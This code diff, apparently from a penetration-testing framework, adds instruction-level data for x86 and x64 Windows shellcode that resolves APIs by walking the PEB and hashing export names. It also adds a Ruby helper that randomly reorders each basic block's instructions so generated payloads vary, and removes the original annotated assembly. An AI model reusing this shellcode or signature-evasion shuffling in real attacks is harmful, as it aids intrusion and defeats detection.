diff --git a/data/shellcode/block_api.x64.graphml b/data/shellcode/block_api.x64.graphml
new file mode 100644
index 0000000000..f7f15da89e
--- /dev/null
+++ b/data/shellcode/block_api.x64.graphml
@@ -0,0 +1,664 @@
+
+
+
+
+
+
+
+
+ 0x1000
+ block
+
+ 0x1000
+ block
+
+ 0x1000
+ instruction
+ 4151
+ push r9
+
+
+ 0x1002
+ instruction
+ 4150
+ push r8
+
+
+ 0x1004
+ instruction
+ 52
+ push rdx
+
+
+ 0x1005
+ instruction
+ 51
+ push rcx
+
+
+ 0x1006
+ instruction
+ 56
+ push rsi
+
+
+ 0x1007
+ instruction
+ 4831d2
+ xor rdx, rdx
+
+
+ 0x100a
+ instruction
+ 65488b5260
+ mov rdx, qword ptr gs:[rdx + 0x60]
+
+
+ 0x100f
+ instruction
+ 488b5218
+ mov rdx, qword ptr [rdx + 0x18]
+
+
+ 0x1013
+ instruction
+ 488b5220
+ mov rdx, qword ptr [rdx + 0x20]
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1017
+ block
+
+ 0x1017
+ block
+
+ 0x1017
+ instruction
+ 488b7250
+ mov rsi, qword ptr [rdx + 0x50]
+
+
+ 0x101b
+ instruction
+ 480fb74a4a
+ movzx rcx, word ptr [rdx + 0x4a]
+
+
+ 0x1020
+ instruction
+ 4d31c9
+ xor r9, r9
+
+
+
+
+ 0x1023
+ block
+
+ 0x1023
+ block
+
+ 0x1023
+ instruction
+ 4831c0
+ xor rax, rax
+
+
+ 0x1026
+ instruction
+ ac
+ lodsb al, byte ptr [rsi]
+
+
+ 0x1027
+ instruction
+ 3c61
+ cmp al, 0x61
+
+
+ 0x1029
+ instruction
+ 7c02
+ jl 0x102d
+
+
+
+
+
+
+
+ 0x102b
+ block
+
+ 0x102b
+ block
+
+ 0x102b
+ instruction
+ 2c20
+ sub al, 0x20
+
+
+
+
+ 0x102d
+ block
+
+ 0x102d
+ block
+
+ 0x102d
+ instruction
+ 41c1c90d
+ ror r9d, 0xd
+
+
+ 0x1031
+ instruction
+ 4101c1
+ add r9d, eax
+
+
+ 0x1034
+ instruction
+ e2ed
+ loop 0x1023
+
+
+
+
+
+
+ 0x1036
+ block
+
+ 0x1036
+ block
+
+ 0x1036
+ instruction
+ 52
+ push rdx
+
+
+ 0x1037
+ instruction
+ 4151
+ push r9
+
+
+ 0x1039
+ instruction
+ 488b5220
+ mov rdx, qword ptr [rdx + 0x20]
+
+
+ 0x103d
+ instruction
+ 8b423c
+ mov eax, dword ptr [rdx + 0x3c]
+
+
+ 0x1040
+ instruction
+ 4801d0
+ add rax, rdx
+
+
+ 0x1043
+ instruction
+ 668178180b02
+ cmp word ptr [rax + 0x18], 0x20b
+
+
+ 0x1049
+ instruction
+ 7572
+ jne 0x10bd
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x104b
+ block
+
+ 0x104b
+ block
+
+ 0x104b
+ instruction
+ 8b8088000000
+ mov eax, dword ptr [rax + 0x88]
+
+
+ 0x1051
+ instruction
+ 4885c0
+ test rax, rax
+
+
+ 0x1054
+ instruction
+ 7467
+ je 0x10bd
+
+
+
+
+
+
+ 0x1056
+ block
+
+ 0x1056
+ block
+
+ 0x1056
+ instruction
+ 4801d0
+ add rax, rdx
+
+
+ 0x1059
+ instruction
+ 50
+ push rax
+
+
+ 0x105a
+ instruction
+ 8b4818
+ mov ecx, dword ptr [rax + 0x18]
+
+
+ 0x105d
+ instruction
+ 448b4020
+ mov r8d, dword ptr [rax + 0x20]
+
+
+ 0x1061
+ instruction
+ 4901d0
+ add r8, rdx
+
+
+
+
+
+
+
+
+ 0x1064
+ block
+
+ 0x1064
+ block
+
+ 0x1064
+ instruction
+ e356
+ jrcxz 0x10bc
+
+
+
+
+ 0x1066
+ block
+
+ 0x1066
+ block
+
+ 0x1066
+ instruction
+ 48ffc9
+ dec rcx
+
+
+ 0x1069
+ instruction
+ 418b3488
+ mov esi, dword ptr [r8 + rcx*4]
+
+
+ 0x106d
+ instruction
+ 4801d6
+ add rsi, rdx
+
+
+ 0x1070
+ instruction
+ 4d31c9
+ xor r9, r9
+
+
+
+
+
+
+
+ 0x1073
+ block
+
+ 0x1073
+ block
+
+ 0x1073
+ instruction
+ 4831c0
+ xor rax, rax
+
+
+ 0x1076
+ instruction
+ ac
+ lodsb al, byte ptr [rsi]
+
+
+ 0x1077
+ instruction
+ 41c1c90d
+ ror r9d, 0xd
+
+
+ 0x107b
+ instruction
+ 4101c1
+ add r9d, eax
+
+
+ 0x107e
+ instruction
+ 38e0
+ cmp al, ah
+
+
+ 0x1080
+ instruction
+ 75f1
+ jne 0x1073
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x1082
+ block
+
+ 0x1082
+ block
+
+ 0x1082
+ instruction
+ 4c034c2408
+ add r9, qword ptr [rsp + 8]
+
+
+ 0x1087
+ instruction
+ 4539d1
+ cmp r9d, r10d
+
+
+ 0x108a
+ instruction
+ 75d8
+ jne 0x1064
+
+
+
+
+
+
+ 0x108c
+ block
+
+ 0x108c
+ block
+
+ 0x108c
+ instruction
+ 58
+ pop rax
+
+
+ 0x108d
+ instruction
+ 448b4024
+ mov r8d, dword ptr [rax + 0x24]
+
+
+ 0x1091
+ instruction
+ 4901d0
+ add r8, rdx
+
+
+ 0x1094
+ instruction
+ 66418b0c48
+ mov cx, word ptr [r8 + rcx*2]
+
+
+ 0x1099
+ instruction
+ 448b401c
+ mov r8d, dword ptr [rax + 0x1c]
+
+
+ 0x109d
+ instruction
+ 4901d0
+ add r8, rdx
+
+
+ 0x10a0
+ instruction
+ 418b0488
+ mov eax, dword ptr [r8 + rcx*4]
+
+
+ 0x10a4
+ instruction
+ 4801d0
+ add rax, rdx
+
+
+ 0x10a7
+ instruction
+ 4158
+ pop r8
+
+
+ 0x10a9
+ instruction
+ 4158
+ pop r8
+
+
+ 0x10ab
+ instruction
+ 5e
+ pop rsi
+
+
+ 0x10ac
+ instruction
+ 59
+ pop rcx
+
+
+ 0x10ad
+ instruction
+ 5a
+ pop rdx
+
+
+ 0x10ae
+ instruction
+ 4158
+ pop r8
+
+
+ 0x10b0
+ instruction
+ 4159
+ pop r9
+
+
+ 0x10b2
+ instruction
+ 415a
+ pop r10
+
+
+ 0x10b4
+ instruction
+ 4883ec20
+ sub rsp, 0x20
+
+
+ 0x10b8
+ instruction
+ 4152
+ push r10
+
+
+ 0x10ba
+ instruction
+ ffe0
+ jmp rax
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x10bc
+ block
+
+ 0x10bc
+ block
+
+ 0x10bc
+ instruction
+ 58
+ pop rax
+
+
+
+
+ 0x10bd
+ block
+
+ 0x10bd
+ block
+
+ 0x10bd
+ instruction
+ 4159
+ pop r9
+
+
+ 0x10bf
+ instruction
+ 5a
+ pop rdx
+
+
+ 0x10c0
+ instruction
+ 488b12
+ mov rdx, qword ptr [rdx]
+
+
+ 0x10c3
+ instruction
+ e94fffffff
+ jmp 0x1017
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/data/shellcode/block_api.x86.graphml b/data/shellcode/block_api.x86.graphml
new file mode 100644
index 0000000000..f9b0949b67
--- /dev/null
+++ b/data/shellcode/block_api.x86.graphml
@@ -0,0 +1,574 @@
+
+
+
+
+
+
+
+
+ 0x1000
+ block
+
+ 0x1000
+ block
+
+ 0x1000
+ instruction
+ 60
+ pushal
+
+
+ 0x1001
+ instruction
+ 89e5
+ mov ebp, esp
+
+
+ 0x1003
+ instruction
+ 31c0
+ xor eax, eax
+
+
+ 0x1005
+ instruction
+ 648b5030
+ mov edx, dword ptr fs:[eax + 0x30]
+
+
+ 0x1009
+ instruction
+ 8b520c
+ mov edx, dword ptr [edx + 0xc]
+
+
+ 0x100c
+ instruction
+ 8b5214
+ mov edx, dword ptr [edx + 0x14]
+
+
+
+
+
+
+
+
+
+
+ 0x100f
+ block
+
+ 0x100f
+ block
+
+ 0x100f
+ instruction
+ 8b7228
+ mov esi, dword ptr [edx + 0x28]
+
+
+ 0x1012
+ instruction
+ 0fb74a26
+ movzx ecx, word ptr [edx + 0x26]
+
+
+ 0x1016
+ instruction
+ 31ff
+ xor edi, edi
+
+
+
+
+ 0x1018
+ block
+
+ 0x1018
+ block
+
+ 0x1018
+ instruction
+ ac
+ lodsb al, byte ptr [esi]
+
+
+ 0x1019
+ instruction
+ 3c61
+ cmp al, 0x61
+
+
+ 0x101b
+ instruction
+ 7c02
+ jl 0x101f
+
+
+
+
+
+
+ 0x101d
+ block
+
+ 0x101d
+ block
+
+ 0x101d
+ instruction
+ 2c20
+ sub al, 0x20
+
+
+
+
+ 0x101f
+ block
+
+ 0x101f
+ block
+
+ 0x101f
+ instruction
+ c1cf0d
+ ror edi, 0xd
+
+
+ 0x1022
+ instruction
+ 01c7
+ add edi, eax
+
+
+ 0x1024
+ instruction
+ e2f2
+ loop 0x1018
+
+
+
+
+
+
+ 0x1026
+ block
+
+ 0x1026
+ block
+
+ 0x1026
+ instruction
+ 52
+ push edx
+
+
+ 0x1027
+ instruction
+ 57
+ push edi
+
+
+ 0x1028
+ instruction
+ 8b5210
+ mov edx, dword ptr [edx + 0x10]
+
+
+ 0x102b
+ instruction
+ 8b4a3c
+ mov ecx, dword ptr [edx + 0x3c]
+
+
+ 0x102e
+ instruction
+ 8b4c1178
+ mov ecx, dword ptr [ecx + edx + 0x78]
+
+
+ 0x1032
+ instruction
+ e348
+ jecxz 0x107c
+
+
+
+
+
+
+
+
+
+
+
+ 0x1034
+ block
+
+ 0x1034
+ block
+
+ 0x1034
+ instruction
+ 01d1
+ add ecx, edx
+
+
+ 0x1036
+ instruction
+ 51
+ push ecx
+
+
+ 0x1037
+ instruction
+ 8b5920
+ mov ebx, dword ptr [ecx + 0x20]
+
+
+ 0x103a
+ instruction
+ 01d3
+ add ebx, edx
+
+
+ 0x103c
+ instruction
+ 8b4918
+ mov ecx, dword ptr [ecx + 0x18]
+
+
+
+
+
+
+
+
+
+
+ 0x103f
+ block
+
+ 0x103f
+ block
+
+ 0x103f
+ instruction
+ e33a
+ jecxz 0x107b
+
+
+
+
+ 0x1041
+ block
+
+ 0x1041
+ block
+
+ 0x1041
+ instruction
+ 49
+ dec ecx
+
+
+ 0x1042
+ instruction
+ 8b348b
+ mov esi, dword ptr [ebx + ecx*4]
+
+
+ 0x1045
+ instruction
+ 01d6
+ add esi, edx
+
+
+ 0x1047
+ instruction
+ 31ff
+ xor edi, edi
+
+
+
+
+
+
+
+ 0x1049
+ block
+
+ 0x1049
+ block
+
+ 0x1049
+ instruction
+ ac
+ lodsb al, byte ptr [esi]
+
+
+ 0x104a
+ instruction
+ c1cf0d
+ ror edi, 0xd
+
+
+ 0x104d
+ instruction
+ 01c7
+ add edi, eax
+
+
+ 0x104f
+ instruction
+ 38e0
+ cmp al, ah
+
+
+ 0x1051
+ instruction
+ 75f6
+ jne 0x1049
+
+
+
+
+
+
+
+
+
+ 0x1053
+ block
+
+ 0x1053
+ block
+
+ 0x1053
+ instruction
+ 037df8
+ add edi, dword ptr [ebp - 8]
+
+
+ 0x1056
+ instruction
+ 3b7d24
+ cmp edi, dword ptr [ebp + 0x24]
+
+
+ 0x1059
+ instruction
+ 75e4
+ jne 0x103f
+
+
+
+
+
+
+ 0x105b
+ block
+
+ 0x105b
+ block
+
+ 0x105b
+ instruction
+ 58
+ pop eax
+
+
+ 0x105c
+ instruction
+ 8b5824
+ mov ebx, dword ptr [eax + 0x24]
+
+
+ 0x105f
+ instruction
+ 01d3
+ add ebx, edx
+
+
+ 0x1061
+ instruction
+ 668b0c4b
+ mov cx, word ptr [ebx + ecx*2]
+
+
+ 0x1065
+ instruction
+ 8b581c
+ mov ebx, dword ptr [eax + 0x1c]
+
+
+ 0x1068
+ instruction
+ 01d3
+ add ebx, edx
+
+
+ 0x106a
+ instruction
+ 8b048b
+ mov eax, dword ptr [ebx + ecx*4]
+
+
+ 0x106d
+ instruction
+ 01d0
+ add eax, edx
+
+
+ 0x106f
+ instruction
+ 89442424
+ mov dword ptr [esp + 0x24], eax
+
+
+ 0x1073
+ instruction
+ 5b
+ pop ebx
+
+
+ 0x1074
+ instruction
+ 5b
+ pop ebx
+
+
+ 0x1075
+ instruction
+ 61
+ popal
+
+
+ 0x1076
+ instruction
+ 59
+ pop ecx
+
+
+ 0x1077
+ instruction
+ 5a
+ pop edx
+
+
+ 0x1078
+ instruction
+ 51
+ push ecx
+
+
+ 0x1079
+ instruction
+ ffe0
+ jmp eax
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0x107b
+ block
+
+ 0x107b
+ block
+
+ 0x107b
+ instruction
+ 5f
+ pop edi
+
+
+
+
+ 0x107c
+ block
+
+ 0x107c
+ block
+
+ 0x107c
+ instruction
+ 5f
+ pop edi
+
+
+ 0x107d
+ instruction
+ 5a
+ pop edx
+
+
+ 0x107e
+ instruction
+ 8b12
+ mov edx, dword ptr [edx]
+
+
+ 0x1080
+ instruction
+ eb8d
+ jmp 0x100f
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/lib/msf/core/payload/shuffle.rb b/lib/msf/core/payload/shuffle.rb
new file mode 100644
index 0000000000..6f42e7bfca
--- /dev/null
+++ b/lib/msf/core/payload/shuffle.rb
@@ -0,0 +1,45 @@
+# -*- coding: binary -*-
+
+require 'rex/parser/graphml'
+
+##
+# This module contains a helper function for generating payloads from a shuffled
+# set of instructions loaded from a special file.
+##
+module Msf::Payload::Shuffle
+
+ def shuffle_instructions(file_name)
+ file_path = File.join(Msf::Config.install_root, 'data', 'shellcode', file_name + '.graphml')
+ graphml = Rex::Parser::GraphML.parse(file_path)
+
+ # build an array of all of the graphs representing basic blocks, sorted by their address
+ blocks = graphml.graphs.filter { |graph| graph.attributes['type'] == 'block' }.sort_by { |graph| graph.attributes['address'] }
+ blocks.map { |block| process_block(block) }.flatten
+ end
+
+ private
+
+ def process_block(block)
+ path = []
+ instructions = block.nodes.select { |id,node| node.attributes['type'] == 'instruction' }
+
+ # the initial choices are any node without a predecessor (dependency)
+ targets = block.edges.map { |edge| edge.target }
+ choices = instructions.values.filter { |node| !targets.include? node.id }
+ while !choices.empty?
+ selection = choices.sample
+ choices.delete(selection)
+ path << selection
+
+ successors = selection.target_edges.map { |edge| instructions[edge.target] }
+ successors.each do |successor|
+ next if path.include? successor
+ next if !successor.source_edges.map { |edge| path.include? instructions[edge.source] }.all?
+ choices << successor
+ end
+ end
+
+ path.map { |node| 'db ' + node.attributes['instruction.hex'].strip.chars.each_slice(2).map { |hex| '0x' + hex.join }.join(', ') }
+ end
+
+end
diff --git a/lib/msf/core/payload/windows/block_api.rb b/lib/msf/core/payload/windows/block_api.rb
index c1fbbf5da1..fbec8717b3 100644
--- a/lib/msf/core/payload/windows/block_api.rb
+++ b/lib/msf/core/payload/windows/block_api.rb
@@ -1,112 +1,23 @@
# -*- coding: binary -*-
require 'msf/core'
+require 'msf/core/payload/shuffle'
module Msf
-
###
#
# Basic block_api stubs for Windows ARCH_X86 payloads
#
###
-
-
module Payload::Windows::BlockApi
+ include Msf::Payload::Shuffle
+
def asm_block_api(opts={})
-
- raw = %q^
-
- api_call:
- pushad ; We preserve all the registers for the caller, bar EAX and ECX.
- mov ebp, esp ; Create a new stack frame
- xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
- mov edx, [fs:eax+48] ; Get a pointer to the PEB
- mov edx, [edx+12] ; Get PEB->Ldr
- mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
- next_mod: ;
- mov esi, [edx+40] ; Get pointer to modules name (unicode string)
- movzx ecx, word [edx+38] ; Set ECX to the length we want to check
- xor edi, edi ; Clear EDI which will store the hash of the module name
- loop_modname: ;
- lodsb ; Read in the next byte of the name
- cmp al, 'a' ; Some versions of Windows use lower case module names
- jl not_lowercase ;
- sub al, 0x20 ; If so normalise to uppercase
- not_lowercase: ;
- ror edi, 13 ; Rotate right our hash value
- add edi, eax ; Add the next byte of the name
- loop loop_modname ; Loop untill we have read enough
-
- ; We now have the module hash computed
- push edx ; Save the current position in the module list for later
- push edi ; Save the current module hash for later
- ; Proceed to iterate the export address table
- mov edx, [edx+16] ; Get this modules base address
- mov ecx, [edx+60] ; Get PE header
-
- ; use ecx as our EAT pointer here so we can take advantage of jecxz.
- mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
- jecxz get_next_mod1 ; If no EAT present, process the next module
- add ecx, edx ; Add the modules base address
- push ecx ; Save the current modules EAT
- mov ebx, [ecx+32] ; Get the rva of the function names
- add ebx, edx ; Add the modules base address
- mov ecx, [ecx+24] ; Get the number of function names
- ; now ecx returns to its regularly scheduled counter duties
-
- ; Computing the module hash + function hash
- get_next_func: ;
- jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
- dec ecx ; Decrement the function name counter
- mov esi, [ebx+ecx*4] ; Get rva of next module name
- add esi, edx ; Add the modules base address
- xor edi, edi ; Clear EDI which will store the hash of the function name
- ; And compare it to the one we want
- loop_funcname: ;
- lodsb ; Read in the next byte of the ASCII function name
- ror edi, 13 ; Rotate right our hash value
- add edi, eax ; Add the next byte of the name
- cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
- jne loop_funcname ; If we have not reached the null terminator, continue
- add edi, [ebp-8] ; Add the current module hash to the function hash
- cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
- jnz get_next_func ; Go compute the next function hash if we have not found it
-
- ; If found, fix up stack, call the function and then value else compute the next one...
- pop eax ; Restore the current modules EAT
- mov ebx, [eax+36] ; Get the ordinal table rva
- add ebx, edx ; Add the modules base address
- mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
- mov ebx, [eax+28] ; Get the function addresses table rva
- add ebx, edx ; Add the modules base address
- mov eax, [ebx+4*ecx] ; Get the desired functions RVA
- add eax, edx ; Add the modules base address to get the functions actual VA
- ; We now fix up the stack and perform the call to the desired function...
- finish:
- mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
- pop ebx ; Clear off the current modules hash
- pop ebx ; Clear off the current position in the module list
- popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
- pop ecx ; Pop off the origional return address our caller will have pushed
- pop edx ; Pop off the hash value our caller will have pushed
- push ecx ; Push back the correct return value
- jmp eax ; Jump into the required function
- ; We now automagically return to the correct caller...
-
- get_next_mod: ;
- pop edi ; Pop off the current (now the previous) modules EAT
- get_next_mod1: ;
- pop edi ; Pop off the current (now the previous) modules hash
- pop edx ; Restore our position in the module list
- mov edx, [edx] ; Get the next module
- jmp.i8 next_mod ; Process this module
- ^
+ instructions = shuffle_instructions('block_api.x86')
+ (['api_call:'] + instructions.map { |chunk| ' ' + chunk }).join("\n") + "\n"
end
-
end
-
end
-
diff --git a/lib/msf/core/payload/windows/x64/block_api.rb b/lib/msf/core/payload/windows/x64/block_api.rb
index 1de9a25aff..4e8abce7a3 100644
--- a/lib/msf/core/payload/windows/x64/block_api.rb
+++ b/lib/msf/core/payload/windows/x64/block_api.rb
@@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
+require 'msf/core/payload/shuffle'
module Msf
@@ -12,103 +13,11 @@ module Msf
module Payload::Windows::BlockApi_x64
- def asm_block_api(opts={})
+ include Msf::Payload::Shuffle
- raw = %q^
- api_call:
- push r9 ; Save the 4th parameter
- push r8 ; Save the 3rd parameter
- push rdx ; Save the 2nd parameter
- push rcx ; Save the 1st parameter
- push rsi ; Save RSI
- xor rdx, rdx ; Zero rdx
- mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
- mov rdx, [rdx+24] ; Get PEB->Ldr
- mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
- next_mod: ;
- mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
- movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
- xor r9, r9 ; Clear r9 which will store the hash of the module name
- loop_modname: ;
- xor rax, rax ; Clear rax
- lodsb ; Read in the next byte of the name
- cmp al, 'a' ; Some versions of Windows use lower case module names
- jl not_lowercase ;
- sub al, 0x20 ; If so normalise to uppercase
- not_lowercase: ;
- ror r9d, 13 ; Rotate right our hash value
- add r9d, eax ; Add the next byte of the name
- loop loop_modname ; Loop untill we have read enough
- ; We now have the module hash computed
- push rdx ; Save the current position in the module list for later
- push r9 ; Save the current module hash for later
- ; Proceed to itterate the export address table,
- mov rdx, [rdx+32] ; Get this modules base address
- mov eax, dword [rdx+60] ; Get PE header
- add rax, rdx ; Add the modules base address
- cmp word [rax+24], 0x020B ; is this module actually a PE64 executable?
- ; this test case covers when running on wow64 but in a native x64 context via nativex64.asm and
- ; their may be a PE32 module present in the PEB's module list, (typicaly the main module).
- ; as we are using the win64 PEB ([gs:96]) we wont see the wow64 modules present in the win32 PEB ([fs:48])
- jne get_next_mod1 ; if not, proceed to the next module
- mov eax, dword [rax+136] ; Get export tables RVA
- test rax, rax ; Test if no export address table is present
- jz get_next_mod1 ; If no EAT present, process the next module
- add rax, rdx ; Add the modules base address
- push rax ; Save the current modules EAT
- mov ecx, dword [rax+24] ; Get the number of function names
- mov r8d, dword [rax+32] ; Get the rva of the function names
- add r8, rdx ; Add the modules base address
- ; Computing the module hash + function hash
- get_next_func: ;
- jrcxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
- dec rcx ; Decrement the function name counter
- mov esi, dword [r8+rcx*4]; Get rva of next module name
- add rsi, rdx ; Add the modules base address
- xor r9, r9 ; Clear r9 which will store the hash of the function name
- ; And compare it to the one we want
- loop_funcname: ;
- xor rax, rax ; Clear rax
- lodsb ; Read in the next byte of the ASCII function name
- ror r9d, 13 ; Rotate right our hash value
- add r9d, eax ; Add the next byte of the name
- cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
- jne loop_funcname ; If we have not reached the null terminator, continue
- add r9, [rsp+8] ; Add the current module hash to the function hash
- cmp r9d, r10d ; Compare the hash to the one we are searchnig for
- jnz get_next_func ; Go compute the next function hash if we have not found it
- ; If found, fix up stack, call the function and then value else compute the next one...
- pop rax ; Restore the current modules EAT
- mov r8d, dword [rax+36] ; Get the ordinal table rva
- add r8, rdx ; Add the modules base address
- mov cx, [r8+2*rcx] ; Get the desired functions ordinal
- mov r8d, dword [rax+28] ; Get the function addresses table rva
- add r8, rdx ; Add the modules base address
- mov eax, dword [r8+4*rcx]; Get the desired functions RVA
- add rax, rdx ; Add the modules base address to get the functions actual VA
- ; We now fix up the stack and perform the call to the drsired function...
- finish:
- pop r8 ; Clear off the current modules hash
- pop r8 ; Clear off the current position in the module list
- pop rsi ; Restore RSI
- pop rcx ; Restore the 1st parameter
- pop rdx ; Restore the 2nd parameter
- pop r8 ; Restore the 3rd parameter
- pop r9 ; Restore the 4th parameter
- pop r10 ; pop off the return address
- sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
- ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
- push r10 ; push back the return address
- jmp rax ; Jump into the required function
- ; We now automagically return to the correct caller...
- get_next_mod: ;
- pop rax ; Pop off the current (now the previous) modules EAT
- get_next_mod1: ;
- pop r9 ; Pop off the current (now the previous) modules hash
- pop rdx ; Restore our position in the module list
- mov rdx, [rdx] ; Get the next module
- jmp next_mod ; Process this module
- ^
+ def asm_block_api(opts={})
+ instructions = shuffle_instructions('block_api.x64')
+ (['api_call:'] + instructions.map { |chunk| ' ' + chunk }).join("\n") + "\n"
end
end
diff --git a/lib/rex/parser/graphml.rb b/lib/rex/parser/graphml.rb
index 5834881b94..96c4e2ee56 100644
--- a/lib/rex/parser/graphml.rb
+++ b/lib/rex/parser/graphml.rb
@@ -231,6 +231,16 @@ module GraphML
self.new(id)
end
+ def source_edges
+ # edges connected to this node
+ @edges.filter { |edge| edge.target == @id || !edge.directed }
+ end
+
+ def target_edges
+ # edges connecting this to other nodes
+ @edges.filter { |edge| edge.source == @id || !edge.directed }
+ end
+
attr_reader :id
attr_reader :edges
end
@@ -358,7 +368,7 @@ module GraphML
target_node = element.nodes[edge.target]
raise InvalidAttributeError.new('edge', 'target', details: 'undefined target', missing: false) if target_node.nil?
source_node.edges << edge
- target_node.edges << edge if !edge.directed
+ target_node.edges << edge
end
when 'key'